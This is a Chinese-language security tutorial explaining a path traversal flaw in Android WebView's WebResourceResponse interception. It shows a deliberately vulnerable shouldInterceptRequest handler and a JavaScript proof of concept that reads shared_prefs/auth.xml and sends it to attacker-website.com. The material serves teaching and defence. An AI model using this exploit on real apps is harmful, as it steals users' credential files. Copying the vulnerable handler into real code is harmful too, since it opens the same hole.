WebResourceResponse漏洞

WebResourceResponse 概述

WebResourceResponse 是一个允许 Android 应用在 WebView 内模拟服务器的类,通过拦截请求并从应用代码本身返回任意内容(包括状态码、内容类型、内容编码、标头和响应体),而无需向服务器发出任何实际请求。

安全问题

访问任意文件

如果您控制返回文件的路径并且拥有 XSS 或在 WebView 内打开任意链接的能力,您可以通过 XHR 请求获得对任意文件的访问权限。

例如,如果存在以下 WebResourceResponse 实现:

WebView webView = findViewById(R.id.webView);
webView.setWebViewClient(new WebViewClient() {
   public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
       Uri uri = request.getUrl();
       if (uri.getPath().startsWith("/local_cache/")) {
           File cacheFile = new File(getCacheDir(), uri.getLastPathSegment());
           if (cacheFile.exists()) {
               InputStream inputStream;
               try {
                   inputStream = new FileInputStream(cacheFile);
               } catch (IOException e) {
                   return null;
               }
               Map<String, String> headers = new HashMap<>();
               headers.put("Access-Control-Allow-Origin", "*");
               return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);
           }
       }
       return super.shouldInterceptRequest(view, request);
   }
});

攻击的概念证明可能如下所示:

<!DOCTYPE html>
<html>
<head>
   <title>Evil page</title>
</head>
<body>
<script type="text/javascript">
   function theftFile(path, callback) {
     var oReq = new XMLHttpRequest();

     oReq.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true);
     oReq.onload = function(e) {
       callback(oReq.responseText);
     }
     oReq.onerror = function(e) {
       callback(null);
     }
     oReq.send();
   }

   theftFile("shared_prefs/auth.xml", function(contents) {
       location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents);
   });
</script>
</body>
</html>

在上述示例中,攻击是可能的,因为 Uri.getLastPathSegment() 返回一个解码值,该值用于在 new File(getCacheDir(), uri.getLastPathSegment()) 行中生成文件路径。

像 CORS 这样的策略在 WebView 内仍然有效。因此,没有 Access-Control-Allow-Origin: * 标头不允许向 any.domain 发出请求。但是,此限制不影响此概念证明,因为 WebResourceResponse 实现检查仅使用 URL 路径,您可以将 any.domain 替换为当前来源。

参考资料:

参考资料

最后更新于